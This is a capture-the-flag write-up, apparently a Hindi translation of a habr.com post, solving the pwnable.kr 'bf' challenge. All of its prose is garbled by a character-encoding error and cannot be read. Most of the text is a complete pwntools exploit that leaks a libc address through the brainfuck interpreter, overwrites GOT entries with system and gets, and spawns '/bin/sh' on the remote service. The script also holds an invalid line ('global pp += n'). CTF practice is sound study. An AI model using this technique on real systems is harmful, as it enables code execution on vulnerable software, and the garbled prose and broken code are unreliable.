рддреЛ, рдпрд╣ рд▓реЛрдб рд╣рдореЗрдВ рд▓рд┐рдВрдХреНрдб рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдореЗрдВ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛ рджреЗрдЧрд╛ред рдЖрдЗрдП рдЙрд╕рдХрд╛ рдкрддрд╛ рдЕрдирд▓рд┐рдВрдХ рдХрд░реЗрдВред

 libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets'] 

рдФрд░ рдЕрдм, рд╕рд░реНрд╡рд░ рдХреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП, рд╣рдо рдбреЗрдЯрд╛рдмреЗрд╕ рдЦреЛрдЬ рд▓реЗрдВрдЧреЗред

 r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc) 

рдЕрдм рд╣рдореЗрдВ рдЖрдзрд╛рд░ рдХреЛ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрддреЗ рд╣реБрдП рдЕрдиреНрдп рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдкрддреЗ рдорд┐рд▓рддреЗ рд╣реИрдВред

 system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets'] 

рдФрд░ рд╣рдореЗрдВ рдЕрдкрдиреЗ рд╡рд┐рдЪрд╛рд░ рдХрд╛ рдПрд╣рд╕рд╛рд╕ рд╣реИред

 r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive() 

рдкреВрд░реНрдг рдХреЛрдб
 from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_memset = 0x804a02c p_putchar = 0x804a030 p_main = 0x8048671 def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n) def readVar(): return ".>"*4 + "<"*4 def writeVar(): return ",>"*4 + "<"*4 payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.' libc = ELF('./bf_libc.so') fgets_addr_libc = libc.symbols['fgets'] r.recvline() r.recvline() r.send(payload+'\n') fgets_addr_bin = u32(r.recv() + r.recv()) libc_base = int( fgets_addr_bin - fgets_addr_libc) system = libc_base + libc.symbols['system'] gets = libc_base + libc.symbols['gets'] r.send(p32(system)) r.send(p32(gets)) r.send(p32(p_main)) r.send("/bin/sh" + '\n') r.interactive() 


рдЫрд╡рд┐

рд╣рдо рд╡рд╛рдВрдЫрд┐рдд рдзреНрд╡рдЬ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ рдФрд░ pwnable.kr рдкрд░ рдХрд╛рд░реНрдпреЛрдВ рдХрд╛ рджреВрд╕рд░рд╛ рднрд╛рдЧ рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдЖрдк рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рдкрд░ рд╣рдорд╕реЗ рдЬреБрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдЧрд▓реА рдмрд╛рд░ рд╣рдо рдвреЗрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рд╕реЗ рдирд┐рдкрдЯреЗрдВрдЧреЗред

Source: https://habr.com/ru/post/hi466109/


All Articles